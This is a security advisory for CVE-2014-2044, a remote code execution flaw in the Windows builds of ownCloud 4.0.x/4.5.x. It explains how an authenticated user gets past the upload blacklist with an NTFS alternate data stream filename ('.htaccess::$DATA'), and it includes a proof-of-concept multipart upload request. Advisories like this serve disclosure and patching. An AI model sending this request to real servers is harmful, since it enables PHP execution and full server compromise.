ownCloud 4.0.x/4.5.x - 'upload.php Filename Parameter' Remote Code Execution

Vulnerability title: Remote Code Execution in ownCloud

CVE: CVE-2014-2044

Vendor: ownCloud

Product: ownCloud

Affected version: 4.0.x & 4.5.x

Fixed version: 5.0

Reported by: Alejo Murillo Moya



Details:



A remote code execution has been found and confirmed within ownCloud as

an authenticated user. A successful attack could allow an authenticated

attacker to execute PHP code, which could lead to a full compromise of

the server and associated infrastructure. Please note that only the

Windows versions of ownCloud are affected and that valid credentials are

required.



It is possible to create a custom .htaccess into the user's folder on

Windows version of the application, which will enable PHP execution on

the folder. This vulnerability exists because it is possible to bypass

the internal blacklists using Windows ADS (Alternate Data Streams).



Proof Of Concept:



  POST /owncloud_5.0.14a/owncloud/?app=files&getfile=ajax%2Fupload.php HTTP/1.1

  [...]

  Content-Type: multipart/form-data; boundary=---------------------------21191376031994875607185408411

  Requesttoken: None



  -----------------------------21191376031994875607185408411

  Content-Disposition: form-data; name="MAX_FILE_SIZE" 



  536870912

  -----------------------------21191376031994875607185408411

  Content-Disposition: form-data; name="requesttoken" 



  None

  -----------------------------21191376031994875607185408411

  Content-Disposition: form-data; name="dir" 



  /

  -----------------------------21191376031994875607185408411

  Content-Disposition: form-data; name="files[]"; filename=".htaccess::$DATA" 

  Content-Type: text/plain



  <PUT YOUR TEXT HERE>

  -----------------------------21191376031994875607185408411--





        



Further details at:

https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-2044/





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